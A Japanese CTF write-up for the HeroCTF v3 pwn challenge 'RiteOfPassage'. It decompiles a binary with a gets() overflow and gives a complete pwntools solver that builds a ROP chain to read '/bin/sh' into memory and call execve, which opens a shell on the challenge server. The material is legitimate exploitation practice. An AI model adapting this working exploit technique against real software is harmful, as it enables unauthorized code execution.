もふもふ

くんかくんか

heroctf v3

供養3。

RiteOfPassage

elfが一個渡される。 checksec

[*] '/home/test/heroctf/riteofpassage/RiteOfPassage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ghidraデコンパイルで次のようになった。

undefined8 main(void)

{
  int iVar1;
  char local_178 [360];
  int local_c;
  
  setbuf((FILE *)stdout,(char *)0x0);
  printf("Please, give us your thoughts about our client service :\n>>>");
  gets(local_178);
  iVar1 = strlen(local_178);
  printf("I am now going to translate your sentence to computer");
  while (local_c < iVar1) {
    printf("%02x",(ulong)(uint)(int)local_178[local_c]);
    local_c = local_c + 1;
  }
  puts("We actually don\'t care about what you think. Bye.");
  return 0;
}

getsがバッファーオーバーフローを起こしている。 あとchecksecはカナリーありと出てるけどmainにカナリーが見当たらない。なぜかは知らない。

問題文がシェルコードわかってる?的な感じだったのでshellcode実行問題と当たりをつける。 rp++でガジェット一覧をみるとsyscallが用意されていたのでropで直接execする方針を立てる。

どこかに文字列'/bin/sh'と文字列の先頭を指すアドレスを置きたいので適当に読み書き可能かつ使われてなさそうなrandtbl(0x4af080)に置くことにした。

read(stdin, 0x4af080, size)

exec(0x4af080, 0x4af080+16, 0)

と呼んで最初のreadでshellcodeを入力する。

以下ソルバ

import pwn

pop_rdi_ret_gadget = 0x00401a31 # pop rdi ; ret  ;  (158 found)
pop_rsi_ret_gadget = 0x0040890e # pop rsi ; ret  ;  (38 found)
pop_rdx_ret_gadget = 0x0040176f # pop rdx ; ret  ;  (1 found)
xor_eax_eax_gadget = 0x004021c2 # xor eax, eax ; ret  ;  (84 found)
add_eax_0x01_gadget = 0x00468b51 # add eax, 0x01 ; ret  ;
syscall_gadget = 0x004011fe # syscall  ;  (167 found)
syscall_ret_gadget = 0x00415ab4 # syscall  ; ret  ;  (8 found)

buffer_addr = 0x4af080 # buffer addr

binshell = pwn.p32(0x6e69622f) + pwn.p32(0x0068732f) + b'\x00' * 8 + pwn.p64(buffer_addr).ljust(8, b'\x00') + b'\x00' * 8

if len(binshell) != 32:
    raise


payload = b'A' * 0x178  # padding

####  Call Read ####

payload += pwn.p64(pop_rdi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(0x0).ljust(8, b'\x00')
payload += pwn.p64(pop_rsi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(buffer_addr).ljust(8, b'\x00')
payload += pwn.p64(pop_rdx_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(32).ljust(8, b'\x00')

payload += pwn.p64(xor_eax_eax_gadget).ljust(8, b'\x00')

payload += pwn.p64(syscall_ret_gadget).ljust(8, b'\x00')

payload += pwn.p64(pop_rdi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(buffer_addr).ljust(8, b'\x00')
payload += pwn.p64(pop_rsi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(buffer_addr+16).ljust(8, b'\x00')
payload += pwn.p64(pop_rdx_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(0).ljust(8, b'\x00')
payload += pwn.p64(xor_eax_eax_gadget).ljust(8, b'\x00')
for i in range(0x3b):
    payload += pwn.p64(add_eax_0x01_gadget).ljust(8, b'\x00')
payload += pwn.p64(syscall_ret_gadget).ljust(8, b'\x00')



#io = pwn.process("RiteOfPassage")
io = pwn.remote('pwn.heroctf.fr', 9002)

#pwn.gdb.attach(io)

print(io.recvuntil('>>>'))
io.sendline(payload)
print(io.recvuntil('Bye.'))
io.sendline(binshell)

io.interactive()